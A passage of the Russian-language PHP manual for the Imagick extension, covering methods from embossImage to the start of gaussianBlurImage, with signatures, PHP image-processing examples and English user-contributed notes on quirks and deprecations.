Imagick::embossImage — Возвращает изображение в градациях серого с трёхмерным эффектом

Описание

public Imagick::embossImage(float $radius, float $sigma): bool

Возвращает изображение в градациях серого с трёхмерным эффектом. Мы сворачиваем изображение с помощью гауссовского оператора заданного радиуса и стандартного отклонения (сигма). Для получения разумных результатов радиус должен быть больше сигмы. Используйте радиус 0, и он будет выбран автоматически.

Список параметров

radius

Радиус эффекта

sigma

Сигма эффекта

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::embossImage()

<?php
function embossImage($imagePath, $radius, $sigma) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->embossImage($radius, $sigma);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

DJ Mike 11-Apr-2011 11:17
embossImage() will actually return a color image with a 3D effect. If you want a gray scale image, you can use imagefilter() from the regular GD functions.

<?php
header("Content-type: image/jpeg");
$image = new Imagick("opossum.jpg");
$image->embossImage( 0, 1 );
echo $image;
?>


Шифрует изображение

  • « Imagick::embossImage
  • Imagick::enhanceImage »
  • PHP Manual
  • Imagick
  • Шифрует изображение

Imagick::encipherImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::encipherImage — Шифрует изображение

Описание

public Imagick::encipherImage(string $passphrase): bool

Преобразует обычные пиксели в зашифрованные пиксели. Изображение не читается, пока не будет расшифровано с помощью Imagick::decipherImage() Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.9 или старше.

Список параметров

passphrase

Пароль

Возвращаемые значения

В случае успешной работы возвращает true.

Смотрите также

  • Imagick::decipherImage() - Расшифровывает изображение

User Contributed Notes

There are no user contributed notes for this page.


Улучшает качество шумного изображения

  • « Imagick::encipherImage
  • Imagick::equalizeImage »
  • PHP Manual
  • Imagick
  • Улучшает качество шумного изображения

Imagick::enhanceImage

(PECL imagick 2, PECL imagick 3)

Imagick::enhanceImage — Улучшает качество шумного изображения

Описание

public Imagick::enhanceImage(): bool

Применяет цифровой фильтр, который улучшает качество изображения с шумом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::enhanceImage()

<?php
function enhanceImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->enhanceImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Выравнивает гистограмму изображения

  • « Imagick::enhanceImage
  • Imagick::evaluateImage »
  • PHP Manual
  • Imagick
  • Выравнивает гистограмму изображения

Imagick::equalizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::equalizeImage — Выравнивает гистограмму изображения

Описание

public Imagick::equalizeImage(): bool

Выравнивает гистограмму изображения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::equalizeImage()

<?php
function equalizeImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->equalizeImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Применяет выражение к изображению

  • « Imagick::equalizeImage
  • Imagick::exportImagePixels »
  • PHP Manual
  • Imagick
  • Применяет выражение к изображению

Imagick::evaluateImage

(PECL imagick 2, PECL imagick 3)

Imagick::evaluateImage — Применяет выражение к изображению

Описание

public Imagick::evaluateImage(int $op, float $constant, int $channel = Imagick::CHANNEL_DEFAULT): bool

Применяет к изображению арифметическое, реляционное или логическое выражение. Используйте эти операторы для осветления или затемнения изображения, для увеличения или уменьшения контрастности изображения или для создания "негатива" изображения.

Список параметров

op

Оператор вычисления.

constant

Значение оператора.

channel

Укажите любую константу CHANNEL, которая подходит для вашего режима канала. Для применения более чем к одному каналу объедините константы типа CHANNEL с помощью побитовых операторов.Обратитесь к этому списку констант CHANNEL.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::evaluateImage()

Использование evaluateImage для уменьшения непрозрачности изображения.

<?php
// Создание нового объекта с изображением
$im = new Imagick('example-alpha.png');

// Уменьшение значнения альфа-канала на 50%
$im->evaluateImage(Imagick::EVALUATE_DIVIDE, 2, Imagick::CHANNEL_ALPHA);

// Вывод изображения
header("Content-Type: image/png");
echo $im;
?>

User Contributed Notes

nils dot rocine at gmail dot com 04-Jan-2012 11:10
What worked for me to convert a JPG source file to a semi-transparent PNG.

<?php
    $srcImagick = new Imagick($srcPath);

    $pathTo50Perc = 'transparent1.png';

    $srcImagick->setImageAlphaChannel(Imagick::ALPHACHANNEL_OPAQUE);

    $srcImagick->evaluateImage(Imagick::EVALUATE_DIVIDE, 2, Imagick::CHANNEL_ALPHA);

    $srcImagick->writeImage($pathTo50Perc);
?>


Экспортирует пиксели изображения

  • « Imagick::evaluateImage
  • Imagick::extentImage »
  • PHP Manual
  • Imagick
  • Экспортирует пиксели изображения

Imagick::exportImagePixels

(PECL imagick 2 >=2.3.0, PECL imagick 3)

Imagick::exportImagePixels — Экспортирует пиксели изображения

Описание

public Imagick::exportImagePixels(
int $x,
int $y,
int $width,
int $height,
string $map,
int $STORAGE
): array

Экспортирует пиксели изображения в массив. Параметр map определяет порядок экспортируемых пикселей. Размер возвращаемого массива - width * height * strlen(map). Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.7 или старше.

Список параметров

x

Координата X экспортируемой области.

y

Координата Y экспортируемой области.

width

Ширина экспортируемой области.

height

Высота экспортируемой области.

map

Порядок экспортируемых пикселей. Например "RGB". Допустимые символы для map: R, G, B, A, O, C, Y, M, K, I и P.

STORAGE

Обратитесь к этому списку констант типа PIXEL.

Возвращаемые значения

Возвращает массив, содержащий значения пикселей.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::exportImagePixels()

Экспорт пикселей изображения в массив

<?php

/* Создание нового объекта */
$im = new Imagick();

/* Создание нового изображения */
$im->newPseudoImage(0, 0, "magick:rose");

/* Экспорт пикселей изображения */
$pixels = $im->exportImagePixels(10, 10, 2, 2, "RGB", Imagick::PIXEL_CHAR);

/* Вывод */
var_dump($pixels);
?>

Результат выполнения данного примера:

array(12) {
  [0]=>
  int(72)
  [1]=>
  int(64)
  [2]=>
  int(57)
  [3]=>
  int(69)
  [4]=>
  int(59)
  [5]=>
  int(43)
  [6]=>
  int(124)
  [7]=>
  int(120)
  [8]=>
  int(-96)
  [9]=>
  int(91)
  [10]=>
  int(84)
  [11]=>
  int(111)
}

User Contributed Notes

P S 06-May-2022 04:37
These are the letters for the map:

R = red
G = green
B = blue
A = alpha (0 is transparent)
O = alpha (0 is opaque)
C = cyan
Y = yellow
M = magenta
K = black
I = intensity (for grayscale)
P = pad


Устанавливает размер изображения

  • « Imagick::exportImagePixels
  • Imagick::filter »
  • PHP Manual
  • Imagick
  • Устанавливает размер изображения

Imagick::extentImage

(PECL imagick 2, PECL imagick 3)

Imagick::extentImage — Устанавливает размер изображения

Описание

public Imagick::extentImage(
int $width,
int $height,
int $x,
int $y
): bool

Удобный метод для установки размера изображения. Метод устанавливает размер изображения и позволяет задать координаты x,y там, где начинается новая область. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.1 или старше.

Предостережение

До ImageMagick 6.5.7-8 (1623) значение $x было положительным при сдвиге влево и отрицательным при сдвиге вправо, а значение $y было положительным при сдвиге изображения вверх и отрицательным при сдвиге изображения вниз. Где-то между ImageMagick 6.3.7 (1591) и ImageMagick 6.5.7-8 (1623) оси $x и $y были перевёрнуты так, что значение $x было отрицательным при сдвиге влево и положительным при сдвиге вправо, а значение $y было отрицательным при сдвиге изображения вверх и положительным при сдвиге изображения вниз. Где-то между ImageMagick 6.5.7-8 (1623) и ImageMagick 6.6.9-7 (1641) оси $x и $y были возвращены обратно к функциональности до ImageMagick 6.5.7-8 (1623).

Список параметров

width

Новая ширина.

height

Новая высота.

x

Позиция X для нового размера.

y

Позиция Y для нового размера.

Возвращаемые значения

В случае успешной работы возвращает true.

Смотрите также

  • Imagick::resizeImage() - Масштабирует изображение
  • Imagick::thumbnailImage() - Изменяет размер изображения
  • Imagick::cropImage() - Извлекает область изображения

User Contributed Notes

orgoj 13-Feb-2014 06:52
Some tiff image are corrupted, if used without prior calling setImageMatte(false).
bas at vdsluis dot net 03-Dec-2009 04:44
This function cannot handle images with a transparent background. Use setImageExtent instead.


Применяет пользовательское ядро свёртки к изображению

  • « Imagick::extentImage
  • Imagick::flattenImages »
  • PHP Manual
  • Imagick
  • Применяет пользовательское ядро свёртки к изображению

Imagick::filter

(PECL imagick 3 >= 3.3.0)

Imagick::filter — Применяет пользовательское ядро свёртки к изображению

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::filter(ImagickKernel $ImagickKernel, int $channel = Imagick::CHANNEL_UNDEFINED): bool

Применяет пользовательское ядро свёртки к изображению.

Список параметров

ImagickKernel

Экземпляр ImagickKernel, представляющий либо одно ядро, либо связанную серию ядер.

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::filter()

<?php
function filter($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$matrix = [
[-1, 0, -1],
[0, 5, 0],
[-1, 0, -1],
];

$kernel = \ImagickKernel::fromMatrix($matrix);
$strength = 0.5;
$kernel->scale($strength, \Imagick::NORMALIZE_KERNEL_VALUE);
$kernel->addUnityKernel(1 - $strength);

$imagick->filter($kernel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

wangzh at dingl dot me 02-Aug-2017 11:50
-----Imagick  3.4.3  &&  ImageMagick 7.0.6

-----why cannot find filter method?????

if (!method_exists(Imagick, 'filter')) {
    echo 'undefined filter()!';
} else {
    echo 'defined filter()!';
}
wangzh at dingl dot me 02-Aug-2017 10:21
-----Imagick::filter cannot work!

-----suse linux server   ,   imagick module version 3.4.3

-----run Example #1 Imagick::filter()  , there is no result!  where is problem?

thank you for your answer!

Alex


Объединяет последовательность изображений

  • « Imagick::filter
  • Imagick::flipImage »
  • PHP Manual
  • Imagick
  • Объединяет последовательность изображений

Imagick::flattenImages

(PECL imagick 2, PECL imagick 3)

Imagick::flattenImages — Объединяет последовательность изображений

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::flattenImages(): Imagick

Объединяет последовательность изображений. Полезно для объединения слоёв Photoshop в одно изображение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

A.Ross 26-Mar-2015 01:44
Replying to Francois:
<?php
$im->setImageBackgroundColor('white');
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_REMOVE);
$im->mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN);
?>

Imagick::ALPHACHANNEL_REMOVE has been added in 3.2.0b2 (before the RC): http://pecl.php.net/package-info.php?package=imagick&version=3.2.0b2

The problem is with people who want to implement this, but are stuck with an Imagick version < 3.2.0b2. They can't use this constant. However, all is not lost. I've found a reference where someone got this to work using an integer: http://stackoverflow.com/q/28154179/1000608

The number he used is 11, which seems to suggest that the value of Imagick::ALPHACHANNEL_REMOVE is 11, and the function worked correctly in this usecase even before the constant was implemented. So if you're stuck with <3.2.0b2 this is the code you need:

<?php
$im->setImageBackgroundColor('white');
$im->setImageAlphaChannel(11);
$im->mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN);
?>

This works at least as far back as version 3.1.0~rc1-1 (current version of the php5-imagick package in Debian 7).
thomasbachem 10-Mar-2015 12:05
The actual replacement now that flattenImages() has been deprecated is:

<?php
$im = $im->mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN);
?>

So you need to (re)assign the returned Imagick object.
francois 06-Feb-2015 07:57
As nick said, the function Imagick::flattenImages() is deprecated. Replacing it by Imagick::mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN) partially worked. Images with transparency (ex: .png) get black background even if the image background is set to white.

Old working code:
$im->setImageBackgroundColor('white');
$im = $im->flattenImages();

New working code:
$im->setImageBackgroundColor('white');
$im->setImageAlphaChannel(imagick::ALPHACHANNEL_REMOVE);
$im->mergeImageLayers(imagick::LAYERMETHOD_FLATTEN);

imagick::ALPHACHANNEL_REMOVE is not shown on the constants page but do works with Imagick 3.2.0RC1.
nick at nickdobie dot com 11-Nov-2014 02:38
This function is deprecated and will throw a warning in PHP 5.6. Simply replace this call with Imagick::mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN) and it will behave the same way.
ureimers 10-Feb-2014 11:15
Small correction to Jairu5's code:

If you want to set the background color of a transparent image you have to set it _before_ loading the image.
Flattening images by default uses the background color 'white'. That's why Jairu5's code seem to work at first, but only until you want to actually change the background color to something different than white.

Try using this instead:

<?php

$im = new Imagick();
$im->setImageBackgroundColor('green');
$im->readimage('image.png');

$im = $im->flattenImages();

$im->setImageFormat('jpg');
$im->writeImage('image.jpg');

?>
Samuel Fine (hi at samuelfine dot com) 05-Dec-2011 09:32
This is also useful for accurately converting .ico files to .png. (Other types as well, in theory, but I've only tested ico->png.) Simply using setFormat will create a valid .png file, but will result in image artifacts if the original .ico had any transparency. The following code will create an accurate copy:

<?php

$im = new Imagick();

// When dealing with .ico files, make sure to setFormat before loading the image or you'll get a nasty exception. See https://bugs.php.net/bug.php?id=58515 for more details.
$im->setFormat("ico");

$im->readImage("favicon.ico");

$im = $im->flattenImages(); // Thanks for the tip, Jairu5!

$im->setFormat("png");

$new = fopen("favicon.png", "w");
$im->writeImageFile($new);
$im->clear();
$im->destroy();

?>
Jairu5 30-Nov-2010 08:29
Note that the function returns an Imagick object and does not modify the existing object. Below is my code for converting a PNG with transparency into a JPG with a background color. This code illustrates the difference.

<?php

$im = new Imagick('image.png');
$im->setImageBackgroundColor('white');

$im->flattenImages(); // This does not do anything.
$im = $im->flattenImages(); // Use this instead.

$im->setImageFormat('jpg');
$im->writeImage('image.jpg');

?>


Создаёт вертикальное зеркало изображения

  • « Imagick::flattenImages
  • Imagick::floodFillPaintImage »
  • PHP Manual
  • Imagick
  • Создаёт вертикальное зеркало изображения

Imagick::flipImage

(PECL imagick 2, PECL imagick 3)

Imagick::flipImage — Создаёт вертикальное зеркало изображения

Описание

public Imagick::flipImage(): bool

Создаёт вертикальное зеркало изображения, отражая пиксели вокруг центральной оси X.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::flipImage()

<?php
function flipImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->flipImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

Смотрите также

  • Imagick::flopimage() - Создаёт горизонтальное зеркальное отображение

User Contributed Notes

thenickdude 29-Mar-2021 06:58
The horizontal equivalent to this function is called transverseImage()
jeff at jeffharris dot us 06-Dec-2013 10:39
To avoid the x-axis and y-axis discussion, flipping emulates a mirror at the bottom (or top) of the image.
?o ??o?p ??? x-?x?s ?up ?-?x?s p?s?nss?ou, ???dd?u? ??n????s ? ????o? ?? ??? qo??o? )o? ?od( o? ??? ??????


Изменяет значение цвета любого пикселя, соответствующего целевому

  • « Imagick::flipImage
  • Imagick::flopImage »
  • PHP Manual
  • Imagick
  • Изменяет значение цвета любого пикселя, соответствующего целевому

Imagick::floodFillPaintImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::floodFillPaintImage — Изменяет значение цвета любого пикселя, соответствующего целевому

Описание

public Imagick::floodFillPaintImage(
mixed $fill,
float $fuzz,
mixed $target,
int $x,
int $y,
bool $invert,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Изменяет значение цвета любого пикселя, соответствующего целевому и являющегося ближайшим соседом. Данный метод - замена устаревшему Imagick::paintFloodFillImage(). Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.8 или старше.

Список параметров

fill

Объект ImagickPixel или строка, содержащая цвет заливки.

fuzz

Мера округления (fuzz). Для примера, установите значение fuzz в 10 и красный цвет с интенсивностью 100 и 102 будет интерпретироваться как один и тот же цвет.

target

Объект ImagickPixel или строка, содержащая целевой цвет для рисования.

x

Начальная позиция заливки по X.

y

Начальная позиция заливки по Y.

invert

Если значение равно true, закрашивает любой пиксель, не соответствующий целевому цвету.

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::floodfillPaintImage()

<?php

/* Создание нового объекта Imagick */
$im = new Imagick();

/* Создание красных, зеленых и синих изображения */
$im->newImage(100, 50, "red");
$im->newImage(100, 50, "green");
$im->newImage(100, 50, "blue");

/* Сложение изображений в одно*/
$im->resetIterator();
$combined = $im->appendImages(true);

/* Сохранение промежуточного изображения для сравнения */
$combined->writeImage("floodfillpaint_intermediate.png");

/* Целевой пиксель для рисования */
$x = 1;
$y = 1;

/* Получение цвета, которым рисуем */
$target = $combined->getImagePixelColor($x, $y);

/* Закрашивание пикселя в позиции 1,1 черным и всех соседних пикселей,
соответствующих целевому цвету */
$combined->floodfillPaintImage("black", 1, $target, $x, $y, false);

/* Сохранение результата */
$combined->writeImage("floodfillpaint_result.png");
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: Imagick::floodfillPaintImage()
Вывод примера: Imagick::floodfillPaintImage()

User Contributed Notes

Anonymous 29-Sep-2018 03:05
For fuzz, percentage or float values do not seem to work. The value is based on the intensity of the image colors.

The documentation states: "The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color."

For those of us who are not graphics geeks, your color intensity might be something like 65535. In which case, to get just 10% fuzz, you need to set it to 6550.

You likely will not see any effect if you are using low numbers or floats, like 100, 20, or 0.8.

For example:
$im = new Imagick();
$transparentColor = new ImagickPixel('transparent');
$greenscreen = '#00FF08';    // Super bright green

$im->readImage("cartoon_dog.png");    // Cartoony dog with a black outline and a #00FF08 (super bright green) background.

// Replace the green background with transparent.

// Leaves significant green lines around the outline of the dog, which is unacceptable.
$im->floodFillPaintImage($transparentColor, 30, $greenscreen, 0, 0, false, Imagick::CHANNEL_ALPHA);

// Works as intended - removes all of the green background.
$im->floodFillPaintImage($transparentColor, 30000, $greenscreen, 0, 0, false, Imagick::CHANNEL_ALPHA);

Credit to the discussion here:
https://php5.kiev.ua/php7/imagick.painttransparentimage.html


Создаёт горизонтальное зеркальное отображение

  • « Imagick::floodFillPaintImage
  • Imagick::forwardFourierTransformImage »
  • PHP Manual
  • Imagick
  • Создаёт горизонтальное зеркальное отображение

Imagick::flopImage

(PECL imagick 2, PECL imagick 3)

Imagick::flopImage — Создаёт горизонтальное зеркальное отображение

Описание

public Imagick::flopImage(): bool

Создаёт горизонтальное зеркало изображения, отражая пиксели вокруг центральной оси Y.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::flopImage()

<?php
function flopImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->flopImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

Смотрите также

  • Imagick::flipimage() - Создаёт вертикальное зеркало изображения

User Contributed Notes

There are no user contributed notes for this page.


Реализует дискретное преобразование Фурье

  • « Imagick::flopImage
  • Imagick::frameImage »
  • PHP Manual
  • Imagick
  • Реализует дискретное преобразование Фурье

Imagick::forwardFourierTransformImage

(PECL imagick 3 >= 3.3.0)

Imagick::forwardFourierTransformImage — Реализует дискретное преобразование Фурье

Описание

public Imagick::forwardFourierTransformimage(bool $magnitude): bool

Реализует дискретное преобразование Фурье (ДПФ) изображения в виде пары величина / фаза или пары, состоящей из реального / мнимого изображений.

Список параметров

magnitude

Если значение равно true, будет возвращена пара величина / фаза, иначе - пара, состоящая из реального / мнимого изображений.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::forwardFourierTransformImage()

<?php
//Служебная функция для forwardTransformImage
function createMask() {
$draw = new \ImagickDraw();

$draw->setStrokeOpacity(0);
$draw->setStrokeColor('rgb(255, 255, 255)');
$draw->setFillColor('rgb(255, 255, 255)');

//Рисование круга на оси Y с центром в точках
//x, y, который касается начала координат
$draw->circle(250, 250, 220, 250);

$imagick = new \Imagick();
$imagick->newImage(512, 512, "black");
$imagick->drawImage($draw);
$imagick->gaussianBlurImage(20, 20);
$imagick->autoLevelImage();

return $imagick;
}

function forwardFourierTransformImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->resizeimage(512, 512, \Imagick::FILTER_LANCZOS, 1);

$mask = createMask();
$imagick->forwardFourierTransformImage(true);

@$imagick->setimageindex(0);
$magnitude = $imagick->getimage();

@$imagick->setimageindex(1);
$imagickPhase = $imagick->getimage();

if (true) {
$imagickPhase->compositeImage($mask, \Imagick::COMPOSITE_MULTIPLY, 0, 0);
}

if (false) {
$output = clone $imagickPhase;
$output->setimageformat('png');
header("Content-Type: image/png");
echo $output->getImageBlob();
}

$magnitude->inverseFourierTransformImage($imagickPhase, true);

$magnitude->setimageformat('png');
header("Content-Type: image/png");
echo $magnitude->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Добавляет имитацию трёхмерной границы

  • « Imagick::forwardFourierTransformImage
  • Imagick::functionImage »
  • PHP Manual
  • Imagick
  • Добавляет имитацию трёхмерной границы

Imagick::frameImage

(PECL imagick 2, PECL imagick 3)

Imagick::frameImage — Добавляет имитацию трёхмерной границы

Описание

public Imagick::frameImage(
mixed $matte_color,
int $width,
int $height,
int $inner_bevel,
int $outer_bevel
): bool

Добавляет имитацию трёхмерной границы вокруг изображения. Ширина и высота определяют ширину границы вертикальной и горизонтальной сторон рамки. Внутренний и внешний скосы указывают ширину внутренней и внешней тени рамки.

Список параметров

matte_color

Объект ImagickPixel или строка, представляющая матовый цвет.

width

Ширина границы.

height

Высота границы.

inner_bevel

Ширина внутреннего скоса.

outer_bevel

Ширина внешнего скоса.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь позволяет использовать представляющую цвет строку в качестве первого. Предыдущие версии позволяли использовать только объект ImagickPixel.

Примеры

Пример #1 Пример использования Imagick::frameImage()

<?php
function frameImage($imagePath, $color, $width, $height, $innerBevel, $outerBevel) {
$imagick = new \Imagick(realpath($imagePath));

$width = $width + $innerBevel + $outerBevel;
$height = $height + $innerBevel + $outerBevel;

$imagick->frameimage(
$color,
$width,
$height,
$innerBevel,
$outerBevel
);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Применяет функцию к изображению

  • « Imagick::frameImage
  • Imagick::fxImage »
  • PHP Manual
  • Imagick
  • Применяет функцию к изображению

Imagick::functionImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::functionImage — Применяет функцию к изображению

Описание

public Imagick::functionImage(int $function, array $arguments, int $channel = Imagick::CHANNEL_DEFAULT): bool

Применяет арифметическое, реляционное или логическое выражение к псевдоизображению.

Смотрите также » ImageMagick v6 Examples - Image Transformations — Function, Multi-Argument Evaluate

Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.4.9 или старше.

Список параметров

function

Обратитесь к списку констант FUNCTION.

arguments

Массив аргументов для передачи в данную функцию.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Создание синусоидального градиента

<?php
$imagick = new Imagick();
$imagick->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(3, -90);
$imagick->functionImage(Imagick::FUNCTION_SINUSOID, $arguments);

header("Content-Type: image/png");
$imagick->setImageFormat("png");
echo $imagick->getImageBlob();
?>

Результатом выполнения данного примера будет что-то подобное:

Результат создания синусоидального градиента

Пример #2 Создание градиента из полинома (4x^2 - 4x + 1)

<?php
$imagick = new Imagick();
$imagick->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(4, -4, 1);
$imagick->functionImage(Imagick::FUNCTION_POLYNOMIAL, $arguments);

header("Content-Type: image/png");
$imagick->setimageformat("png");
echo $imagick->getImageBlob();
?>

Результатом выполнения данного примера будет что-то подобное:

Результат создания полиномиального градиента

Пример #3 Создание сложного градиента из полинома (4x^2 - 4x^2 + 1), модулированного синусоидальным градиентом

<?php
$imagick1 = new Imagick();
$imagick1->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(9, -90);
$imagick1->functionImage(Imagick::FUNCTION_SINUSOID, $arguments);

$imagick2 = new Imagick();
$imagick2->newPseudoImage(200, 200, 'gradient:black-white');
$arguments = array(0.5, 0);
$imagick2->functionImage(Imagick::FUNCTION_SINUSOID, $arguments);
$imagick1->compositeimage($imagick2, Imagick::COMPOSITE_MULTIPLY, 0, 0);

header("Content-Type: image/png");
$imagick1->setImageFormat("png");
echo $imagick1->getImageBlob();
?>

Результатом выполнения данного примера будет что-то подобное:

Результат создания сложного градиента

User Contributed Notes

There are no user contributed notes for this page.


Оценивает выражение для каждого пикселя в изображении

  • « Imagick::functionImage
  • Imagick::gammaImage »
  • PHP Manual
  • Imagick
  • Оценивает выражение для каждого пикселя в изображении

Imagick::fxImage

(PECL imagick 2, PECL imagick 3)

Imagick::fxImage — Оценивает выражение для каждого пикселя в изображении

Описание

public Imagick::fxImage(string $expression, int $channel = Imagick::CHANNEL_DEFAULT): Imagick

Оценивает выражение для каждого пикселя в изображении. Посмотрите подробнее про » Оператор изображения Fx со специальными эффектами для получения дополнительной информации.

Список параметров

expression

Выражение

channel

Укажите любую постоянную канала, которая подходит для вашего режима канала. Чтобы применить к более чем одному каналу, объедините константы типа канала, используя побитовые операторы. Просмотрите этот список констант канала.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::fxImage()

<?php
function fxImage() {
$imagick = new \Imagick();
$imagick->newPseudoImage(200, 200, "xc:white");

$fx = 'xx=i-w/2; yy=j-h/2; rr=hypot(xx,yy); (.5-rr/140)*1.2+.5';
$fxImage = $imagick->fxImage($fx);

header("Content-Type: image/png");
$fxImage->setimageformat('png');
echo $fxImage->getImageBlob();
}

?>

User Contributed Notes

thomasgf22 at NOSPAM dot gmail dot com 16-May-2014 02:00
Beware that fxImage return value's type is a new object(Imagick), opposing the current documentation (boolean). Therefore it does not affect the caller object. Example:
<?php
            $canvas = new Imagick();
            $canvas->newImage(256, 256, "white", "jpg");

            $gradient = new Imagick();
            $gradient->newPseudoImage(256, 256, "gradient:white-black");
            $canvas->compositeImage( $gradient, imagick::COMPOSITE_OVER, 0, 0 );
            $canvas->rotateImage(new ImagickPixel(), 90);
            /*instead of just $canvas->fxImage("floor(s*10+0.5)/10"); we must store fxImage()'s result*/
            $canvas= $canvas->fxImage("floor(s*10+0.5)/10");

            header( "Content-Type: image/jpg" );
            echo $canvas;
?>


Гамма-коррекция изображения

  • « Imagick::fxImage
  • Imagick::gaussianBlurImage »
  • PHP Manual
  • Imagick
  • Гамма-коррекция изображения

Imagick::gammaImage

(PECL imagick 2, PECL imagick 3)

Imagick::gammaImage — Гамма-коррекция изображения

Описание

public Imagick::gammaImage(float $gamma, int $channel = Imagick::CHANNEL_DEFAULT): bool

Гамма-коррекция изображения. Одно и то же изображение, просматриваемое на разных устройствах, будет различаться в восприятии, в способе представления интенсивности изображения на экране. Укажите индивидуальные уровни гаммы для красного, зелёного и синего каналов или отрегулируйте все три с помощью параметра гаммы. Обычно значения варьируются от 0.8 до 2.3.

Список параметров

gamma

Величина гамма-коррекции.

channel

Укажите любую константу канала, которая соответствует вашему режиму канала. Чтобы применить более чем к одному каналу, объедините константы типа канала с помощью побитовых операторов. Обратитесь к этому списку констант канала.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::gammaImage()

<?php
function gammaImage($imagePath, $gamma, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->gammaImage($gamma, $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

majidted at gmail dot com 19-Mar-2018 12:59
You should use PECL to install this library. Or if you are using composer like me, you should use this packagist package or the similar packages:

"https://packagist.org/packages/tpmanc/yii2-imagick"


Размывает изображение

  • « Imagick::gammaImage
  • Imagick::getColorspace »
  • PHP Manual
  • Imagick
  • Размывает изображение

Imagick::gaussianBlurImage

(PECL imagick 2, PECL imagick 3)

Imagick::gaussianBlurImage — Размывает изображение

Описание

public Imagick::gaussianBlurImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool

